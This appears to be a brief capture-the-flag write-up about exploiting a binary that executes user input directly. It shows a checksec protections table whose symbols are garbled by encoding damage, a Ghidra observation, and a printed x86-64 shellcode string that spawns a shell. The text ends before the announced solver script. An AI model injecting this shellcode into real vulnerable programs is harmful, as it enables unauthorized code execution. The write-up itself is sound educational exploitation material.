First, I checked the security of the binary with checksec
:
So it has the following protections:
Protection | Enabled | Usage |
---|
Canary | โ
| Preventsย Buffer Overflows |
NX | โ | Disablesย code executionย on stack |
PIE | โ
| Randomizes theย base addressย of the binary |
ReLRO | Full | Makes some binary sectionsย read-only |
Then I executed the binary:
I analyzed the code with Ghidra:
Our input is being stored in local_68 and called as a function, so we can use the following payload from shellstorm.org:
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
And our solver script will look like: